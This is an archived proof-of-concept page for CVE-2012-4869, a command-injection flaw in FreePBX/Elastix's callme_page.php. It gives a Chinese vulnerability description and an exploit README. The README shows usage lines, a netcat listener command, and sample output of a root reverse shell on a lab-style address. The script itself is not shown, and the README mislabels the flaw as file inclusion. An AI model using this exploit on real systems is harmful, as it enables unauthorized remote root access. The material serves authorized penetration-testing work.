Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2012-4869 PoC — FreePBX 远程命令执行漏洞

Source
Associated Vulnerability
Title:FreePBX 远程命令执行漏洞 (CVE-2012-4869)
Description:FreePBX(前称Asterisk Management Portal)是FreePBX项目的一套通过GUI(基于网页的图形化接口)配置Asterisk(IP电话系统)的工具。 FreePBX中的recordings/misc/callme_page.php中的callme_startcall函数中存在远程命令执行漏洞,该漏洞源于对用户提供的输入未经正确过滤。攻击者可利用该漏洞盗取基于cookie的认证证书,或者在受影响应用程序上下文中执行任意命令。FreePBX 2.9版本、2.10版本和早期版本中存
Readme
# Elastix 2.2.0 Local File Inclusion Exploit - CVE-2012-4869

## Description
This script exploits a Local File Inclusion (LFI) vulnerability in **Elastix 2.2.0**, allowing remote code execution (RCE) by injecting commands via the **callme_page.php** endpoint. The exploit is based on **CVE-2012-4869**.

## Features
- Bypasses TLS certificate verification.
- Uses **Perl reverse shell** payload.
- Supports **custom LHOST and LPORT** for reverse shell.
- Suppresses HTTPS security warnings.

## Requirements
- Python 3
- `requests` module

Install dependencies using:
```bash
pip install requests
```

## Usage
```bash
python exploit.py <URL> --LHOST <YOUR_IP> --LPORT <YOUR_PORT>
```

### Example:
```bash
python exploit.py "https://10.129.229.183" --LHOST "10.10.14.23" --LPORT 9001
```

## Setup Reverse Shell Listener
Before running the exploit, start a **Netcat listener** on your machine:
```bash
nc -lvnp 9001
```

## Exploit Execution Output
```bash
[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869
[*] Target: https://10.129.229.183
[*] Listening on 10.10.14.23:9001

[+] Exploit sent successfully, waiting for reverse shell...

[+] Connection from 10.129.229.183:41242
$ id
uid=0(root) gid=0(root) groups=0(root)
```

## Notes
- If the reverse shell does not connect, ensure **firewall rules** and **SELinux** settings allow outbound connections.
- Alternative payloads (e.g., Bash or Python) can be used if Perl is unavailable.
- Ensure that your **LHOST** is reachable from the target machine.

## Disclaimer
This exploit is for educational and authorized security testing purposes only. **Unauthorized use is illegal**. The author is not responsible for misuse of this tool.
File Snapshot

[4.0K] /data/pocs/9df2d4375828de1dad87a564b966a2b670888680 ├── [2.0K] exploit.py └── [1.7K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.